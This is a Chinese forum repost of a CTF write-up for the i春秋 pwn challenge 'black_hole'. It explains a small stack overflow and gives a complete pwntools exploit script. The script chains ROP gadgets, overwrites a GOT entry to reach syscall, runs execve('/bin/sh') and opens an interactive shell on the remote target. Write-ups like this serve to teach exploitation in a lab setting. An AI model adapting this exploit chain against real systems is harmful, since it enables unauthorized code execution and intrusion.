|
本帖最后由 Xor0ne 于 2020-3-31 15:36 编辑
本题来自于:i春秋
题目内容:
nc 106.75.2.53 10001
第三位上古大神为test_for_pwn,此大神喜游历人间,最常说的一句话是
我为pwn而生,pwn却为众人而喜,妙哉妙哉
tips:该题只有一个红包,只有第一位解答该题的同学才能获得赛后我们的工作人员会私信亲的,加油附件链接:
Writeup:
来自于:https://www.ichunqiu.com/writeup/detail/529
1、black_hole
Blog中有相应的内容,欢迎大家浏览,大佬轻喷。
IDA打开后很容易找到漏洞函数
- size_t sub_4006CC()
- {
- char ptr; // [sp+0h] [bp-10h]@1
- return fread(&ptr, 1uLL, 0x20uLL, stdin);
- }
复制代码
简单的栈溢出,问题在于每次溢出只能够溢出16个字节,恰好覆盖完rip
思路:
首先是我们需要重复利用漏洞向栈上写入数据进行ROP,所以要return to vul,多次利用漏洞向栈中每次写入8个字节,每次通过布置栈内数据覆盖ebp 8个字节。
然后控制eip返回vul function,相当于每次只能向栈内写入8个字节
由于栈是由高向低增长的,所以我们布置栈中的数据时,实际上是由高地址向低地址布置,所以需要反向写入。
- for i in xrange(len(payload), 0, -8):
- print i
- write_stack(payload[i - 8:i], time)
复制代码
由于泄露地址相对复杂,采用修改got表期望指向syscall的方式,选择alarm函数,通过它泄露出syscall地址。
通过read函数读入0x3b个字符,使得返回值eax=0x3b,使得syscall陷入时执行execve,并且将bin/sh与syscall写入bss段,最后调用执行。
至于gadgets,用libc\_init\_csu中的通用ropgets即可,很适合三参数的函数的构造。
#/usr/env/bin python
from pwn import *
import time
gadgets1 = 0x4007AA
gadgets2 = 0x400790
def hole(io,msg):
sleep(0.5)
io.send('2333'+'A'*(0x20-4))
sleep(0.5)
io.send('A'*0x10+msg+p64(0x400704))
def exploit():
payload = []
payload.append(p64(gadgets1))
payload.append(p64(0))
payload.append(p64(1))
payload.append(p64(elf.got['read']))
payload.append(p64(1))
payload.append(p64(elf.got['alarm']))
payload.append(p64(0))
payload.append(p64(gadgets2))
for i in range(7):
payload.append(p64(0))
payload.append(p64(gadgets1))
payload.append(p64(0))
payload.append(p64(1))
payload.append(p64(elf.got['read']))
payload.append(p64(0x3B))
payload.append(p64(0x601070))
payload.append(p64(0)) #rax=0x38
payload.append(p64(gadgets2))
payload.append(p64(0))
payload.append(p64(0))
payload.append(p64(1))
payload.append(p64(0x601078))
payload.append(p64(0))
payload.append(p64(0))
payload.append(p64(0x601070))
payload.append(p64(gadgets2))
#for char in xrange(0x45,0x46):
#io = process('./black_hole')
#io = remote('106.75.66.195',11003)
i = len(payload)
for msg in reversed(payload):
log.info(i)
i = i-1
hole(io,str(msg))
#raw_input('Go?')
sleep(0.5)
io.send('2333'+'A'*(0x20-4))
sleep(0.5)
#raw_input('Go?')
io.send('A'*0x18+p64(0x4006CB))
sleep(0.5)
#raw_input('Go?')
#log.info('Trying {0}'.format(str(char)))
io.send(chr(0x45))
#raw_input('Go?')
content = "/bin/sh\x00"
content += p64(elf.plt['alarm'])
content = content.ljust(0x3b,'A')
sleep(0.5)
io.send(content)
#io.sendline('ls')
#try:
io.interactive()
#except:
io.close()
#else:
# continue
#def test():
# exploit()
if __name__ == '__main__':
context.binary = './black_hole'
#context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
elf = ELF('./black_hole')
#test()
if len(sys.argv)>2:
io = remote(sys.argv[1],sys.argv[2])
exploit()
else:
io = process('./black_hole')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit()
结果:
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|